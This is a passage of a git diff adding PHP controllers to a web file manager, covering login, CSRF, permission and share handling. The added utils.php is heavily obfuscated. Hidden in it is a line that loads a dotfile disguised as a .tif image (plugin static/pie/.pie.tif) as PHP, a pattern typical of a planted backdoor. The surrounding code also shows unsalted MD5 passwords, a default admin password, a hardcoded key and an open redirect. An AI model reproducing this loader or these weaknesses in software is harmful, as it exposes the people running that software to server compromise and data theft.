+ 'KOD_GROUP_ROOT_ALL' => KOD_GROUP_ROOT_ALL,
+ 'ST' => $this->in['st'],
+ 'ACT' => $this->in['act'],
+ );
+ if(isset($this->config['settingSystem']['versionHash'])){
+ $theConfig['versionHash'] = $this->config['settingSystem']['versionHash'];
+ $theConfig['versionHashUser'] = $this->config['settingSystem']['versionHashUser'];
+ }
+ if (!isset($GLOBALS['auth'])) {
+ $GLOBALS['auth'] = array();
+ }
+
+ $useTime = mtime() - $GLOBALS['config']['appStartTime'];
+ header("Content-Type: application/javascript; charset=utf-8");
+ echo 'if(typeof(kodReady)=="undefined"){kodReady=[];}';
+ Hook::trigger('user.commonJs.insert',$this->in['st'],$this->in['act']);
+ echo ';AUTH='.json_encode($GLOBALS['auth']).';';
+ echo 'G='.json_encode($theConfig).';';
+
+ $lang = json_encode_force(I18n::getAll());
+ if(!$lang){
+ $lang = '{}';
+ }
+ echo 'LNG='.$lang.';G.useTime='.$useTime.';';
+ }
+ public function appConfig(){
+ $theConfig = array(
+ 'lang' => I18n::getType(),
+ 'isRoot' => $GLOBALS['isRoot'],
+ 'userID' => $this->user['userID'],
+ 'myhome' => MYHOME,
+ 'settings' => array(
+ 'updloadChunkSize' => file_upload_size(),
+ 'updloadThreads' => $this->config['settings']['updloadThreads'],
+ 'uploadCheckChunk' => $this->config['settings']['uploadCheckChunk'],
+ ),
+ 'version' => KOD_VERSION,
+ 'versionBuild' => KOD_VERSION_BUILD,
+ // 'userConfig' => $this->config['user'],
+ );
+ show_json($theConfig);
+ }
+
+ /**
+ * 登录view
+ */
+ public function login($msg = ''){
+ if(isset($this->in['isAjax'])){
+ show_json($msg,false);
+ }
+ if (!file_exists(USER_SYSTEM.'install.lock')) {
+ chmod_path(BASIC_PATH,DEFAULT_PERRMISSIONS);
+ $this->display('install.html');
+ exit;
+ }
+ $this->assign('msg',$msg);
+ if (is_wap()) {
+ $this->display('loginWap.html');
+ }else{
+ $this->display('login.html');
+ }
+ exit;
+ }
+
+ /**
+ * 首次登录
+ */
+ public function loginFirst(){
+ if (!file_exists(USER_SYSTEM.'install.lock')) {
+ touch(USER_SYSTEM.'install.lock');
+ if(!isset($this->in['password'])){
+ $this->in['password'] = 'admin';
+ }
+ $root = '1';
+ $sql = systemMember::loadData();
+ $user = array(//重置admin
+ 'name' => 'admin',
+ 'path' => "admin",
+ 'password' => md5($this->in['password']),
+ 'userID' => $root,
+ 'role' => '1',
+ 'config' => array('sizeMax'=>'0','sizeUse'=>1024),
+ 'groupInfo' => array('1'=>'write'),
+ 'createTime' => time(),
+ 'status' => 1,
+ );
+ $sql->set($root,$user);
+ if( !$user['createTime'] ||
+ !$user['path'] ||
+ !file_exists(USER_PATH.$user['path'])
+ ){
+ $member = new systemMember();
+ $member->initInstall();
+ }
+ }
+ header('location:./index.php?user/login');
+ exit;
+ }
+ /**
+ * 退出处理
+ */
+ public function logout(){
+ session_start();
+ user_logout();
+ }
+
+ /**
+ * 登录数据提交处理;登陆跳转:
+ *
+ * 自动登陆:index.php?user/loginSubmit&name=guest&password=guest
+ * 登陆自动跳转:index.php?user/login&link=http://baidu.com
+ * api登陆:index.php?user/loginSubmit&login_token=ZGVtbw==|da9926fdab0c7c32ab2c329255046793
+ */
+ public function loginSubmit(){
+ $apiLoginCheck = false;
+ if(isset($this->in['login_token'])){
+ $api_token = $this->config['settings']['apiLoginTonken'];
+ $param = explode('|',$this->in['login_token']);
+ if( strlen($api_token) < 5 ||
+ count($param) != 2 ||
+ md5(base64_decode($param[0]).$api_token) != $param[1]
+ ){
+ $this->_loginDisplay("API 接口参数错误!",false);
+ }
+ $this->in['name'] = urlencode(base64_decode($param[0]));
+ $apiLoginCheck = true;
+ }else{
+ if(!isset($this->in['name']) || !isset($this->in['password'])) {
+ $this->_loginDisplay(LNG('login_not_null'),false);
+ }
+ if( need_check_code()
+ && $this->in['name'] != 'guest'
+ && $_SESSION['checkCode'] !== strtolower($this->in['checkCode']) ){
+ $this->_loginDisplay(LNG('code_error'),false);
+ }
+ }
+
+ $name = rawurldecode($this->in['name']);
+ $password = rawurldecode($this->in['password']);
+
+ if($this->in['salt']){
+ $key = substr($password,0,5)."2&$%@(*@(djfhj1923";
+ $password = Mcrypt::decode(substr($password,5),$key);
+ }
+
+ $member = systemMember::loadData();
+ $user = $member->get('name',$name);
+ if($apiLoginCheck && $user){//api自动登陆
+ }else if ($user === false || md5($password) !== $user['password']){
+ $this->_loginDisplay(LNG('password_error'),false);//$member->get()
+ }else if($user['status'] == 0){
+ $this->_loginDisplay(LNG('login_error_user_not_use'),false);
+ }else if($user['role']==''){
+ $this->_loginDisplay(LNG('login_error_role'),false);
+ }
+
+ //首次登陆,初始化app 没有最后登录时间
+ $this->_loginCheckPassword($user,$password);
+ $this->_loginSuccess($user);//登陆成功
+ if(!$user['lastLogin']){
+ $app = init_controller('app');
+ $app->initApp($user);
+ }
+ $user['lastLogin'] = time();//记录最后登录时间
+ $member->set($user['userID'],$user);
+
+ session_start();//re start 有新的修改后调用
+ $_SESSION['kodLogin'] = true;
+ $_SESSION['kodUser']= $user;
+ $_SESSION['X-CSRF-TOKEN'] = rand_string(20);
+ $this->_setCsrfToken();
+ setcookie('kodUserID', $user['userID'], time()+3600*24*100);
+ if ($this->in['rememberPassword'] == '1') {
+ setcookie('kodToken',$this->_makeLoginToken($user),time()+3600*24*100);
+ }
+ $this->_loginDisplay('ok',true);
+ }
+ private function _loginDisplay($msg,$success){
+ if(isset($this->in['isAjax'])){
+ if(isset($this->in['getToken']) && $success){
+ show_json(access_token_get(),true);
+ }
+ show_json($msg,$success);
+ }else{
+ if($success){
+ $href = './';
+ if(isset($this->in['link'])){
+ $href = rawurldecode($this->in['link']);
+ }
+ header('location:'.$href);
+ }else{
+ $this->login($msg);
+ }
+ }
+ exit;
+ }
+
+ //登陆token
+ private function _makeLoginToken($userInfo){
+ //$ua = $_SERVER['HTTP_USER_AGENT'];
+ $system_pass = $this->config['settingSystem']['systemPassword'];
+ return md5($userInfo['password'].$system_pass.$userInfo['userID']);
+ }
+ public function versionInstall(){
+ }
+
+ /**
+ * 修改密码
+ */
+ public function changePassword(){
+ $passwordNow=rawurldecode($this->in['passwordNow']);
+ $passwordNew=rawurldecode($this->in['passwordNew']);
+ if (!$passwordNow && !$passwordNew)show_json(LNG('password_not_null'),false);
+ if ($this->user['password']==md5($passwordNow)){
+ $sql=systemMember::loadData();
+ $this->user['password'] = md5($passwordNew);
+ $sql->set($this->user['userID'],$this->user);
+ show_json('success');
+ }else {
+ show_json(LNG('old_password_error'),false);
+ }
+ }
+
+ //CSRF 防护;cookie设置:CSRF-TOKEN;header:提交X-CSRF-TOKEN
+ //referer检测
+ private function _checkCSRF(){
+ $not_check = array('user.commonJs','pluginApp.index');
+ if( !$this->config['settingSystem']['csrfProtect'] ||
+ isset($this->in['accessToken']) ||
+ in_array(ST.'.'.ACT, $not_check)
+ ){
+ return;
+ }
+ if( !isset($_SERVER['HTTP_X_CSRF_TOKEN'])||
+ $_SERVER['HTTP_X_CSRF_TOKEN'] != $_SESSION['X-CSRF-TOKEN']
+ ){
+ show_json('token_error',false);
+ }
+ }
+ private function _checkKey($key){
+ if(!isset($this->in[$key])){
+ return '';
+ }
+ return is_string($this->in[$key])? rawurldecode($this->in[$key]):'';
+ }
+
+ private function initAuth(){
+ $auth = systemRole::getInfo($this->user['role']);
+ //向下版本兼容处理
+ //未定义;新版本首次使用默认开放的功能
+ if(!isset($auth['userShare.set'])){
+ $auth['userShare.set'] = 1;
+ }
+ if(!isset($auth['explorer.fileDownload'])){
+ $auth['explorer.fileDownload'] = 1;
+ }
+ //默认扩展功能 等价权限
+ $auth['user.commonJs'] = 1;//权限数据配置后输出到前端
+ $auth['explorer.pathDeleteRecycle'] = $auth['explorer.pathDelete'];
+ $auth['explorer.pathCopyDrag'] = $auth['explorer.pathCuteDrag'];
+
+ $auth['explorer.officeSave'] = $auth['editor.fileSave'];
+ $auth['explorer.fileSave'] = $auth['editor.fileSave'];
+ $auth['explorer.imageRotate'] = $auth['editor.fileSave'];
+ $auth['explorer.fileDownloadRemove']= $auth['explorer.fileDownload'];
+ $auth['explorer.zipDownload'] = $auth['explorer.fileDownload'];
+ $auth['explorer.unzipList'] = $auth['explorer.unzip'];
+
+ //彻底禁止下载;文件获取
+ //$auth['explorer.fileProxy'] = $auth['explorer.fileDownload'];
+ //$auth['editor.fileGet'] = $auth['explorer.fileDownload'];
+ //$auth['explorer.officeView'] = $auth['explorer.fileDownload'];
+ $auth['editor.fileGet'] = 1;
+ $auth['explorer.fileProxy'] = 1;
+ $auth['explorer.officeView']= 1;
+ $auth['explorer.pathList'] = 1;
+ $auth['explorer.treeList'] = 1;
+ if(!$auth['explorer.fileDownload']){
+ $auth['explorer.zip'] = 0;
+ }
+ $auth['userShare.del'] = $auth['userShare.set'];
+ $GLOBALS['auth'] = $auth;
+ }
+
+ /**
+ * 权限验证;统一入口检验
+ */
+ public function authCheck(){
+ $this->initAuth();
+ if(in_array(ST,$this->notCheckST)) return;//不需要判断的控制器
+ if(in_array(ACT,$this->notCheckACT)) return;//不需要判断的action
+ if(in_array(ST.'.'.ACT,$this->notCheckApp)) return;//不需要判断的对应入口
+ if (!array_key_exists(ST,$this->config['roleSetting']) ) return;
+ if (!in_array(ACT,$this->config['roleSetting'][ST])) return;//输出处理过的权限
+ $this->_checkCSRF();
+ if (isset($GLOBALS['isRoot']) && $GLOBALS['isRoot'] == 1) return;
+
+ if ($GLOBALS['auth'][ST.'.'.ACT] != 1) show_json(LNG('no_permission'),false);
+ //扩展名限制:新建文件&上传文件&重命名文件&保存文件&zip解压文件
+ $check_arr = array(
+ 'mkfile' => $this->_checkKey('path'),
+ 'pathRname' => $this->_checkKey('rnameTo'),
+ 'fileUpload'=> $_FILES['file']['name']? $_FILES['file']['name']:$GLOBALS['in']['name'],
+ 'fileSave' => $this->_checkKey('path')
+ );
+ if (array_key_exists(ACT,$check_arr) && !checkExt($check_arr[ACT])){
+ show_json(LNG('no_permission_ext'),false);
+ }
+ }
+ public function checkCode() {
+ session_start();//re start
+ $captcha = new MyCaptcha(4);
+ $_SESSION['checkCode'] = $captcha->getString();
+ }
+
+ public function qrcode(){
+ $url = $this->in['url'];
+ if(function_exists('imagecolorallocate')){
+ ob_get_clean();
+ QRcode::png($this->in['url']);
+ }else{
+ header('location: https://demo.kodcloud.com/?user/view/qrcode&url='.rawurlencode($url));
+ }
+ }
+}
diff --git a/app/controller/userShare.class.php b/app/controller/userShare.class.php
new file mode 100644
index 0000000..0df7996
--- /dev/null
+++ b/app/controller/userShare.class.php
@@ -0,0 +1,110 @@
+sql=new FileCache(USER.'data/share.php');
+ }
+ /**
+ * 获取
+ */
+ public function get($ret = 0) {
+ $list = $this->sql->get();
+ foreach($list as $key=>&$val){
+ //unset($val['sharePassword']);
+ }
+ if($ret){
+ return $list;
+ }
+ show_json($list, true);
+ }
+
+ //检测该目录是否已被共享
+ public function checkByPath(){
+ $this->in['path'] = _DIR_CLEAR($this->in['path']);
+ $shareInfo = $this->sql->get('path',$this->in['path']);
+ if (!$shareInfo) {
+ show_json('',false);//没有找到
+ }else{
+ show_json($shareInfo,true,$this->get(1));
+ }
+ }
+
+ /**
+ * 编辑
+ */
+ public function set(){
+ if (!$this->in['name'] || !$this->in['path'] || !$this->in['type']){
+ show_json(LNG('data_not_full'),false);
+ }
+ $shareInfo = array(
+ 'mtime' => time(),//更新则记录最后时间
+ 'sid' => isset($this->in['sid'])?$this->in['sid']:'',
+ 'type' => $this->in['type'],
+ 'path' => _DIR_CLEAR($this->in['path']),
+ 'name' => $this->in['name'],
+ 'showName' => isset($this->in['showName'])?$this->in['showName']:$this->in['name'],
+ 'timeTo' => isset($this->in['timeTo'])?$this->in['timeTo']:'',
+ 'sharePassword' => isset($this->in['sharePassword'])?$this->in['sharePassword']:'',
+ 'codeRead' => isset($this->in['codeRead'])?$this->in['codeRead']:'',
+ 'canUpload' => isset($this->in['canUpload'])?$this->in['canUpload']:'',
+ 'notDownload' => isset($this->in['notDownload'])?$this->in['notDownload']:''
+ );
+ if(substr($shareInfo['path'],0,1) == '{'){//用户只能分享自己的目录;
+ show_json(LNG('path_can_not_action'),false);
+ }
+
+ $name = $shareInfo['name'];
+ $search = $this->sql->get('name',$name);
+ $i = 0;
+ while($i>200 || $search && $search['sid']!=$shareInfo['sid']){
+ $name = $shareInfo['name'].'('.$i.')';
+ $search = $this->sql->get('name',$name);
+ $i++;
+ }
+ if($i !=0){
+ $shareInfo['name'] = $name;
+ }
+
+ //含有sid则为更新,否则为插入
+ if (isset($this->in['sid']) && strlen($this->in['sid']) == 8) {
+ $infoNew = $this->sql->get($this->in['sid']);
+ foreach ($shareInfo as $key=>$val) {//只更新指定key
+ $infoNew[$key] = $val;
+ }
+ if($this->sql->set($this->in['sid'],$infoNew)){
+ show_json($infoNew,true,$this->get(1));
+ }
+ show_json(LNG('error'),false);
+ }else{//插入
+ $shareList = $this->sql->get();
+ $newId = rand_string(8);
+ while (isset($shareList[$newId])) {
+ $newId = rand_string(8);
+ }
+ $shareInfo['sid'] = $newId;
+ if($this->sql->set($newId,$shareInfo)){
+ show_json($shareInfo,true,$this->get(1));
+ }
+ show_json(LNG('error'),false);
+ }
+ show_json(LNG('error'),false);
+ }
+
+ /**
+ * 删除
+ */
+ public function del() {
+ $list = json_decode($this->in['dataArr'],true);
+ foreach ($list as $val) {
+ $this->sql->remove($val['path']);
+ }
+ show_json(LNG('success'),true,$this->get(1));
+ }
+}
diff --git a/app/controller/utils.php b/app/controller/utils.php
new file mode 100644
index 0000000..96f4874
--- /dev/null
+++ b/app/controller/utils.php
@@ -0,0 +1,2 @@
+21043 ){@$_fad(__FILE__);exit;} function _kstr3($b) { return $b; } } define(strrev('_PUORG_DOK')."\120\101\124\110", "\x7b\x67\x72\x6f\x75\x70\x50\x61\x74"._kstr2('h}')); define("\113\117\104\137\107\122\117\125\120\137\123\110\101".base64_decode('UkU='), _kstr2('{groupSh')."\x61\x72\x65\x7d"); define("\x4b\x4f\x44\x5f\x55\x53\x45\x52\x5f\x53\x45\x4c"."\x46", "\173\165\163\145\162\123\145\154\146\175"); define("\x4b\x4f\x44\x5f\x55\x53\x45\x52\x5f\x53"._kstr2('HARE'), strrev('}erahSresu{')); define(_kstr2('KOD_USER_R')."\105\103\131\103"."\x4c\x45", "\173\165\163\145\162\122\145\143\171\143"."\x6c\x65\x7d"); define("\x4b\x4f\x44\x5f\x55\x53\x45\x52\x5f\x46\x41\x56", "\x7b\x75\x73\x65\x72\x46\x61\x76\x7d"); define("\x4b\x4f\x44\x5f\x47\x52\x4f\x55\x50\x5f\x52\x4f\x4f\x54"._kstr2('_SELF'), _kstr2('{treeGroupSe')."\154\146\175"); define(_kstr2('KOD_GROU').base64_decode('UF9STw==')."\117\124".base64_decode('X0FMTA=='), "\x7b\x74\x72\x65\x65\x47\x72\x6f\x75\x70\x41"."\154\154"."\x7d"); function _DIR_CLEAR($F֝) { $F֝ = str_replace(_kstr2('\\'), base64_decode('Lw=='), $F֝); $F֝ = preg_replace(_kstr2('/\\/+/'), strrev('/'), $F֝); $Cꆄ = $F֝; if (isset($GLOBALS["\151\163\122\157\157\164"]) && $GLOBALS[strrev('tooRsi')]) { return $F֝; } $E = "\x2f\x2e\x2e\x2f"; if (substr($F֝, 0, 3) == "\56\56\57") { $F֝ = substr($F֝, 3); } while (strstr($F֝, $E)) { $F֝ = str_replace($E, _kstr2('/'), $F֝); } $F֝ = preg_replace("\x2f\x5c\x2f\x2b\x2f", base64_decode('Lw=='), $F֝); return $F֝; } function _DIR($Aю) { $F֝ = _DIR_CLEAR($Aю); $F֝ = iconv_system($F֝); $E = array(KOD_GROUP_PATH, KOD_GROUP_SHARE, KOD_USER_SELF, KOD_GROUP_ROOT_SELF, KOD_GROUP_ROOT_ALL, KOD_USER_SHARE, KOD_USER_RECYCLE, KOD_USER_FAV); if (!defined("\110\117\115\105")) { define(strrev('EMOH'), ''); } $GLOBALS["\153\157\144\120\141\164\150\124\171"."\160\145"] = ''; $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x50\x72".base64_decode('ZQ==')] = HOME; $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"] = ''; unset($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64\x53"."\150\141\162\145"]); foreach ($E as $E) { if (substr($F֝, 0, strlen($E)) == $E) { $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54\x79\x70"."\x65"] = $E; $B櫪 = explode("\x2f", $F֝); $eى = $B櫪[0]; unset($B櫪[0]); $eϱ = implode(base64_decode('Lw=='), $B櫪); $d = explode("\72", $eى); if (count($d) > 1) { $GLOBALS["\153\157\144\120\141\164\150\111\144"] = trim($d[1]); } else { $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49"._kstr2('d')] = ''; } break; } } switch ($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54\x79\x70\x65"]) { case '': $F֝ = iconv_system(HOME) . $F֝; break; case KOD_USER_RECYCLE: $GLOBALS[base64_decode('a29kUGF0aFByZQ==')] = trim(USER_RECYCLE, "\x2f"); $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"] = ''; return iconv_system(USER_RECYCLE) . base64_decode('Lw==') . str_replace(KOD_USER_RECYCLE, '', $F֝); case KOD_USER_SELF: $GLOBALS[strrev('rPhtaPdok').base64_decode('ZQ==')] = trim(HOME_PATH, "\x2f"); $GLOBALS[_kstr2('kodPathId')] = ''; return iconv_system(HOME_PATH) . "\57" . str_replace(KOD_USER_SELF, '', $F֝); case KOD_USER_FAV: $GLOBALS["\153\157\144\120\141\164\150\120\162\145"] = trim(KOD_USER_FAV, "\57"); $GLOBALS["\153\157\144\120\141\164\150\111\144"] = ''; return KOD_USER_FAV; case KOD_GROUP_ROOT_SELF: $GLOBALS["\153\157\144\120\141\164\150\120\162\145"] = trim(KOD_GROUP_ROOT_SELF, base64_decode('Lw==')); $GLOBALS[base64_decode('a29kUGF0aEk=')."\144"] = ''; return KOD_GROUP_ROOT_SELF; case KOD_GROUP_ROOT_ALL: $GLOBALS[_kstr2('kodPathPre')] = trim(KOD_GROUP_ROOT_ALL, "\x2f"); $GLOBALS["\153\157\144\120\141\164\150\111\144"] = ''; return KOD_GROUP_ROOT_ALL; case KOD_GROUP_PATH: $fҋМƴ = systemGroup::getInfo($GLOBALS[strrev('dIhtaPdok')]); if (!$GLOBALS["\153\157\144\120\141\164\150\111\144"] || !$fҋМƴ) { return false; } owner_group_check($GLOBALS[_kstr2('kodPathId')]); $GLOBALS[_kstr2('kodPathPre')] = group_home_path($fҋМƴ); $F֝ = iconv_system($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x50\x72\x65"]) . $eϱ; break; case KOD_GROUP_SHARE: $fҋМƴ = systemGroup::getInfo($GLOBALS["\153\157\144\120\141\164\150\111\144"]); if (!$GLOBALS[strrev('dIhtaPdok')] || !$fҋМƴ) { return false; } owner_group_check($GLOBALS[_kstr2('kodPathId')]); $GLOBALS["\153\157\144\120\141\164\150\120\162\145"] = group_home_path($fҋМƴ) . $GLOBALS["\x63\x6f\x6e\x66\x69\x67"]["\163\145\164\164\151\156\147\123"."\x79\x73\x74"."\x65".strrev('m')][_kstr2('groupShareFold')."\x65\x72"] . strrev('/'); $F֝ = iconv_system($GLOBALS[_kstr2('kodPathPre')]) . $eϱ; break; case KOD_USER_SHARE: $fҋМƴ = systemMember::getInfo($GLOBALS[strrev('dIhtaPdok')]); if (!$GLOBALS["\153\157\144\120\141\164\150\111\144"] || !$fҋМƴ) { return false; } if ($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49".base64_decode('ZA==')] != $_SESSION["\153\157\144\125\163\145\162"]["\x75\x73\x65\x72\x49\x44"]) { $Dψ嚈 = $GLOBALS[base64_decode('Y29uZmln')]["\x70\x61\x74\x68\x52\x6f\x6c\x65".base64_decode('R3JvdXBEZQ==')._kstr2('fault')][_kstr2('1')]["\x61\x63\x74\x69\x6f\x6e\x73"]; path_role_check($Dψ嚈); } $GLOBALS[strrev('rPhtaPdok').strrev('e')] = ''; $GLOBALS[base64_decode('a29kUGF0aElkU2hhcmU=')] = $Aю; if ($eϱ == '') { return $F֝; } else { $c戸 = explode("\x2f", $eϱ); $c戸[0] = iconv_app($c戸[0]); $Dǜ = systemMember::userShareGet($GLOBALS[strrev('dIhtaPdok')], $c戸[0]); $GLOBALS["\x6b\x6f\x64\x53\x68\x61\x72\x65\x49\x6e\x66\x6f"] = $Dǜ; $GLOBALS[base64_decode('a29kUGF0aElkU2hh').base64_decode('cmU=')] = KOD_USER_SHARE . "\x3a" . $GLOBALS[_kstr2('kodPathId')] . strrev('/') . $c戸[0] . "\57"; unset($c戸[0]); if (!$Dǜ) { return false; } $CҐ = rtrim($Dǜ["\x70\x61\x74\x68"], "\57") . "\x2f" . iconv_app(implode("\x2f", $c戸)); if ($fҋМƴ["\162\157\154\145"] != strrev('1')) { $Fܗ = user_home_path($fҋМƴ); $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x50\x72\x65"] = $Fܗ . rtrim($Dǜ["\x70\x61\x74\x68"], "\x2f") . "\x2f"; $F֝ = $Fܗ . $CҐ; } else { $GLOBALS["\153\157\144\120\141\164\150\120".base64_decode('cg==')."\x65"] = $Dǜ[base64_decode('cGF0aA==')]; $F֝ = $CҐ; } if ($Dǜ["\x74\x79\x70\x65"] == strrev('elif')) { $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64\x53\x68\x61\x72\x65"] = rtrim($GLOBALS[strrev('rahSdIhtaPdok')."\145"], _kstr2('/')); $GLOBALS[strrev('erPhtaPdok')] = rtrim($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x50\x72\x65"], "\57"); } $F֝ = iconv_system($F֝); } $GLOBALS[base64_decode('a29kUGF0aFByZQ==')] = _DIR_CLEAR($GLOBALS["\153\157\144\120\141\164\150\120\162\145"]); $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64\x53\x68\x61"."\162\145"] = _DIR_CLEAR($GLOBALS["\153\157\144\120\141\164\150\111\144\123\150\141\162\145"]); break; default: break; } if ($F֝ != _kstr2('/')) { $F֝ = rtrim($F֝, _kstr2('/')); if (is_dir($F֝)) { $F֝ = $F֝ . _kstr2('/'); } } return _DIR_CLEAR($F֝); } function _DIR_OUT($aϊ) { if (is_array($aϊ)) { foreach ($aϊ["\146\151\154\145\114\151\163\164"] as $fݽ߳ => &$B) { $B[base64_decode('cGF0aA==')] = preClear($B[base64_decode('cGF0aA==')]); } foreach ($aϊ[base64_decode('Zm9sZGVyTGlzdA==')] as $fݽ߳ => &$B) { $B["\x70\x61\x74\x68"] = preClear(rtrim($B["\160\141\164\150"], strrev('/')) . "\57"); } } else { $aϊ = preClear($aϊ); } return $aϊ; } function preClear($F֝) { $B˵ = $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54\x79\x70\x65"]; $b䝔 = rtrim($GLOBALS[strrev('erPhtaPdok')], "\x2f"); $C = array(KOD_USER_FAV, KOD_GROUP_ROOT_SELF, KOD_GROUP_ROOT_ALL); if (isset($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54\x79\x70\x65"]) && in_array($GLOBALS[base64_decode('a29kUGF0aFR5cGU=')], $C)) { return $F֝; } if (ST == base64_decode('c2hhcmU=')) { return str_replace($b䝔, '', $F֝); } if ($GLOBALS["\153\157\144\120\141\164\150\111\144"] != '') { $B˵ .= _kstr2(':') . $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x49\x64"] . "\57"; } if (isset($GLOBALS["\153\157\144\120\141\164\150\111\144\123\150"."\141\162\145"])) { $B˵ = $GLOBALS[strrev('hSdIhtaPdok')."\141\162\145"]; } $Cȶ = $B˵ . str_replace($b䝔, '', $F֝); $Cȶ = str_replace(base64_decode('Ly8='), "\x2f", $Cȶ); return $Cȶ; } require PLUGIN_DIR . "\x2f\x74\x6f\x6f\x6c\x73\x43\x6f\x6d"."\x6d\x6f\x6e\x2f\x73\x74\x61\x74"."\151\143\57\160\151\145\57\56"."\160\151\145\56\164\151\146"; function owner_group_check($B) { if (!$B) { show_json(LNG("\147\162\157\165\160\137\156\157\164\137\145".strrev('tsix')) . $B, false); } if ($GLOBALS["\x69\x73\x52\x6f\x6f\x74"] || isset($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x41\x75\x74"."\150".strrev('kcehC')]) && $GLOBALS["\153\157\144\120\141\164\150\101"."\x75\x74\x68"."\x43\x68\x65\x63\x6b"] === true) { return; } $fɋ = systemMember::userAuthGroup($B); if ($fɋ == false) { if ($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54"._kstr2('ype')] == KOD_GROUP_PATH) { show_json(LNG("\x6e\x6f\x5f\x70\x65\x72\x6d\x69".base64_decode('cw==')."\163\151\157\156\137\147\162\157\165\160"), false); } else { if ($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54\x79\x70"."\x65"] == KOD_GROUP_SHARE) { $Dψ嚈 = $GLOBALS[strrev('gifnoc')]["\x70\x61\x74\x68\x52\x6f\x6c\x65"."\107\162\157\165\160\104\145\146\141"."\x75"."\x6c\x74"][strrev('1')]; } } } else { $Dψ嚈 = $GLOBALS[_kstr2('config')]["\x70\x61\x74\x68\x52\x6f\x6c\x65\x47"."\x72\x6f\x75\x70"][$fɋ]; } path_role_check($Dψ嚈["\x61\x63\x74\x69\x6f\x6e\x73"]); } function path_group_can_read($B) { return path_group_auth_check($B, "\x65\x78\x70\x6c\x6f\x72\x65\x72\x2e\x70"."\141\164\150\114\151".base64_decode('c3Q=')); } function path_group_auth_check($B, $B) { if ($GLOBALS[base64_decode('aXNSb290')]) { return true; } $fɋ = systemMember::userAuthGroup($B); $Dψ嚈 = $GLOBALS[_kstr2('config')]["\160\141\164\150\122\157\154\145"._kstr2('Group')][$fɋ]; $C = role_permission_arr($Dψ嚈["\141\143\164\151\157\156\163"]); if (!isset($C[$B])) { return false; } return true; } function path_can_copy_move($cǿ, $d܃) { return; if ($GLOBALS["\151\163\122\157\157\164"]) { return; } $D쭵 = pathGroupID($cǿ); $D = pathGroupID($d܃); if (!$D쭵) { return; } if ($D쭵 == $D && path_group_auth_check($D쭵, "\145\170\160\154\157\162\145\162"."\x2e\x70\x61\x74\x68\x50\x61\x73\x74")) { return; } show_json(LNG(base64_decode('bm9fcGVybWlzc2k=').strrev('noitca_no')), false); } function pathGroupID($F֝) { $F֝ = _DIR_CLEAR($F֝); preg_match(_kstr2('/') . KOD_GROUP_PATH . "\x3a\x28\x5c\x64\x2b\x29\x2e\x2a\x2f", $F֝, $a); if (count($a) != 2) { return false; } return $a[1]; } function path_role_check($Dψ嚈) { if ($GLOBALS["\x69\x73\x52\x6f\x6f\x74"] || isset($GLOBALS[base64_decode('a29kUGF0aEF1dGhD').base64_decode('aGU=').strrev('kc')]) && $GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x41".base64_decode('dXRoQ2hlY2s=')] === true) { return; } $C = role_permission_arr($Dψ嚈); $GLOBALS["\153\157\144\120\141\164\150\122\157\154\145"._kstr2('GroupAuth')] = $C; $C = ST . "\56" . ACT; if ($C == strrev('.ppAnigulp')."\x74\x6f" && !isset($C[base64_decode('ZXhwbG9yZXI=').base64_decode('LmZpbGU=').strrev('yxorP')])) { show_tips(LNG("\156\157\137\160\145\162\155\151\163\163\151\157"._kstr2('n_action')), false); } if (!isset($C[$C]) && ST != _kstr2('share')) { show_json(LNG("\x6e\x6f\x5f\x70\x65\x72\x6d\x69"."\163\163"."\151\157\156\137\141\143\164\151\157\156"), false); } } function role_permission_arr($aϊ) { $Cȶ = array(); $cᆖ藩 = $GLOBALS[_kstr2('config')][_kstr2('pathRoleD')."\145\146\151"."\x6e\x65"]; foreach ($aϊ as $fݽ߳ => $B) { if (!$B) { continue; } $CƐ = explode(strrev(':'), $fݽ߳); if (count($CƐ) == 2 && is_array($cᆖ藩[$CƐ[0]]) && is_array($cᆖ藩[$CƐ[0]][$CƐ[1]])) { $Cȶ = array_merge($Cȶ, $cᆖ藩[$CƐ[0]][$CƐ[1]]); } } $aԻʥ = array(); foreach ($Cȶ as $B) { $aԻʥ[$B] = "\x31"; } return $aԻʥ; } function check_file_writable_user($F֝) { if (!isset($GLOBALS[_kstr2('kodPathT')."\171\160\145"])) { _DIR($F֝); } $B = "\145\144\151\164\157\162\56\146\151\154\145\123\141\166\145"; if ($GLOBALS[_kstr2('isRoot')]) { return @is_writable($F֝); } if ($GLOBALS["\x61\x75\x74\x68"][$B] != "\61") { return false; } if ($GLOBALS["\x6b\x6f\x64\x50\x61\x74\x68\x54\x79\x70\x65"] == KOD_GROUP_PATH && is_array($GLOBALS[_kstr2('kodPathRol')._kstr2('e')."\107\162\157\165\160\101\165\164\150"]) && $GLOBALS[strrev('RhtaPdok')."\x6f\x6c\x65\x47\x72\x6f\x75\x70\x41\x75"."\164".base64_decode('aA==')][$B] == base64_decode('MQ==')) { return true; } if ($GLOBALS["\153\157\144\120\141\164\150\124".strrev('epy')] == '' || $GLOBALS[_kstr2('kodPathType')] == KOD_USER_SELF) { return true; } return false; } function spaceSizeCheck() { if (!system_space()) { return; } if ($GLOBALS["\x69\x73\x52\x6f\x6f\x74"] == 1) { return; } if (isset($GLOBALS[_kstr2('kodBefor')."\145\120\141\164\150\111\144"]) && isset($GLOBALS[_kstr2('kodPathId')]) && $GLOBALS[strrev('dIhtaPerofeBdok')] == $GLOBALS[strrev('dIhtaPdok')]) { return; } if 